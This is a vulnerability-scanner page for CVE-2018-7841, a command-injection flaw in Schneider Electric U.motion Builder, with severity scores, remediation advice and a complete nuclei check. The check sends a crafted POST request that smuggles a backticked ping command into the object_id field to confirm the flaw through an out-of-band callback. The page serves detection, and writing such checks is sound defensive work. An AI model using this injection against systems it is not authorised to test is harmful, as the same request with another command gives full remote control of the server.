Schneider Electric U.motion Builder - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-04-15; known to be used by ransomware.

criticalseverity

9.8CVSS score

72.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

U.motion Builder 1.3.4 contains a remote code execution vulnerability caused by improper input sanitization, allowing attackers to execute arbitrary system commands through crafted input parameters.

Impact

Attackers can execute arbitrary system commands on the server, potentially leading to complete system compromise, data theft, service disruption, or lateral movement within the network.

Fix

The product has been retired and is no longer available or supported. To further protect their installations from this threat, customers should immediately remove the U.motion Builder software from their systems.

How to confirm it

Send: POST /umotion/modules/reporting/track_import_export.php
Positive when: contains(interactsh_protocol, 'dns') and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2018-7841 -u <target>

The full check

id: CVE-2018-7841

info:
  name: Schneider Electric U.motion Builder - Remote Code Execution
  author: darses,rcesecurity
  severity: critical
  description: |
    U.motion Builder 1.3.4 contains a remote code execution vulnerability caused by improper input sanitization, allowing attackers to execute arbitrary system commands through crafted input parameters.
  impact: |
    Attackers can execute arbitrary system commands on the server, potentially leading to complete system compromise, data theft, service disruption, or lateral movement within the network.
  remediation: |
    The product has been retired and is no longer available or supported. To further protect their installations from this threat, customers should immediately remove the U.motion Builder software from their systems.
  reference:
    - https://www.exploit-db.com/exploits/46846
    - https://packetstorm.news/files/id/152862
    - https://www.rcesecurity.com/2019/05/cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day
    - https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2017-178-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2019-071-02-Umotion-Builder.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7841
    cwe-id: CWE-78
    epss-score: 0.72486
    epss-percentile: 0.99445
    cpe: cpe:2.3:a:schneider-electric:u.motion_builder:1.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: schneider-electric
    product: u.motion_builder
    shodan-query: http.headers_hash:1985490094
  tags: cve,cve2018,schneider-electric,rce,kev,oast,oob,vkev,vuln

variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        POST /umotion/modules/reporting/track_import_export.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        op=export&language=english&interval=1&object_id=`ping -c 1 {{interactsh-url}}`

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(content_type, "application/octet-stream")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from